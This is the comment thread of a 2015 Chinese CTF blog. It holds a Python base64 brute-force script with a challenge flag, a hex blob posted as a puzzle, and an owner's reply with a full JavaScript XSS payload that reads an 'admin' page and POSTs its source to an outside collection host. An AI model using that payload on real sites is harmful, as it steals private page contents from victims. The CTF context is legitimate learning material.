AppLeU0's Blog

15 条评论

1. 

   夏殇 六月 17, 2015 9:51 上午  回复

   苹果牛的沙发都让我坐了。然而并没什么!@#$%^&*()

2. 

   watEr 六月 18, 2015 8:21 下午  回复

   来看大牛的博客喽

3. 

   你的360的writeup解密第三题能看下python脚本的代码吗？ 六月 22, 2015 10:09 下午  回复

   你的360的writeup解密第三题能看下python脚本的代码吗？

   • 

     AppLeU0 六月 24, 2015 5:31 下午  回复

     我去找的官方的writeup http://bobao.360.cn/ctf/learning/138.html
     根据最后的等号判断应该是base64加密，但是直接解密有非可见字符，于是我们修改字符的大小写，使得最后输出为可见字符：
     __author__=”F4nt45i4-ZHG”"
     import base64
     s = ‘NTU2NJC3ODHHYWJIZ3P4ZWY=’
     def dfs(d, t):
     global s
     if d == len(s):
     print(base64.b64decode(t))
     else:
     dfs(d + 1, t + s[d])
     if ‘A’ <= s[d] <= ‘Z’:
     dfs(d + 1, t + chr(ord(s[d]) – ord(‘A’) + ord(‘a’)))
     dfs(0, ”)
     a = a + 1

     解码后应不包含不可打印字符，于是加个过滤：

     with open(‘out.txt’, ‘r’) as reader:
     for l in reader.readlines():
     if ‘\\x’ not in l:
     print(l)

     最终会有8个符合的字符串，提交后得到正确的flag：
     55667788aabbgzxef

     • 

       sammy 八月 3, 2015 5:53 下午  回复

       大牛好，base64解密的那个脚本试过不行的呢，能不能提供一个可以使用的脚本，谢谢！

       • 

         AppLeU0 八月 3, 2015 9:21 下午  回复

         http://bobao.360.cn/ctf/learning/138.html 参考一下这里的代码吧

   • 

     Mbah 八月 8, 2015 10:48 下午  回复

     It’s a plsaruee to find someone who can identify the issues so clearly

4. 

   hex 七月 2, 2015 12:46 上午  回复

   苹果牛哥，想问下“用ajax偷到了页面的源码”是怎么搞到的，不清楚。能方便说下吗？

   • 

     AppLeU0 七月 2, 2015 10:07 下午  回复

     var pkav = {
     ajax: function () {
     var xmlHttp;
     try {
     xmlHttp = new XMLHttpRequest();
     } catch (e) {
     try {
     xmlHttp = new ActiveXObject(‘Msxml2.XMLHTTP’);
     } catch (e) {
     try {
     xmlHttp = new ActiveXObject(‘Microsoft.XMLHTTP’);
     } catch (e) {
     return false;
     }
     }
     }
     return xmlHttp;
     },
     req: function (url, data, method, callback) {
     method = (method || ”).toUpperCase();
     method = method || ‘GET’;
     data = data || ”;
     if (url) {
     var a = this.ajax();
     a.open(method, url, true);
     if (method == ‘POST’) {
     a.setRequestHeader(‘Content-type’, ‘application/x-www-form-urlencoded’);
     }
     a.onreadystatechange = function () {
     if (a.readyState == 4 && a.status == 200) {
     if (callback) {
     callback(a.responseText);
     }
     }
     };
     if ((typeof data) == ‘object’) {
     var arr = [
     ];
     for (var i in data) {
     arr.push(i + ‘=’ + encodeURIComponent(data[i]));
     }
     a.send(arr.join(‘&’));
     } else {
     a.send(data || null);
     }
     }
     },
     get: function (url, callback) {
     this.req(url, ”, ‘GET’, callback);
     },
     post: function (url, data, callback) {
     this.req(url, data, ‘POST’, callback);
     }
     };
     pkav.get(‘admin’,function(data){ pkav.post(‘http://xpss.sinaapp.com/index.php?do=api&id=1PW0dQ’,'code=’+encodeURIComponent(data), function (rs) {});});

5. 

   hulk 七月 11, 2015 11:24 上午  回复

   eb185e8136999999998b0e83c604fc4980340e9985c975f7
   eb09e8e3ffffff0499999971ab9999997c5ffedf361f1d9e
   367d5f5cff36be7cdf367edf3dbe5ffc363c1d7e367edf5e
   5cff5c3d1c365c3d36dc1f367cdf5f7ebe99c71875999899
   991275187499989999f399c019ad9732599d979ad81a60a8
   eb6bf3a9f399cff399719b99999972675edc99edf1f0ea5e
   dc9db9ffecf75edc91faedf0f65edc95f7b9f0ea5edc89b9
   d4fcea5edc8deaf8fefc5edc81dbf6e199125c66795b8999
   能看出这个是什么加密算法吗 大神

6. 

   hulkruo 七月 12, 2015 11:11 下午  回复

   eb185e8136999999998b0e83c604fc4980340e9985c975f7 eb09e8e3ffffff0499999971ab9999997c5ffedf361f1d9e
   367d5f5cff36be7cdf367edf3dbe5ffc363c1d7e367edf5e 5cff5c3d1c365c3d36dc1f367cdf5f7ebe99c71875999899
   991275187499989999f399c019ad9732599d979ad81a60a8 eb6bf3a9f399cff399719b99999972675edc99edf1f0ea5e
   dc9db9ffecf75edc91faedf0f65edc95f7b9f0ea5edc89b9 d4fcea5edc8deaf8fefc5edc81dbf6e199125c66795b8999
   说是这段密文里面隐藏了一句经典英文语句。完成没有思路，请问apple大神能帮忙参谋下木？谢谢

   • 

     AppLeU0 七月 16, 2015 1:28 上午  回复

     看不出来耶 应该不是hash的 因为可以看到9999999连续的这种 字符范围是0-f 尝试过16进制的文件 没看出来是啥

7. 

   Netfairy 七月 19, 2015 9:07 下午  回复

   博主能互换友链吗？我博客 http://www.netfairy.net

   • 

     AppLeU0 七月 19, 2015 10:19 下午  回复

     好 加上友链了

8. 

   Netfairy 八月 1, 2015 9:49 上午  回复

   博主麻烦把我友链名称改成 网络精灵。还有我们可能见过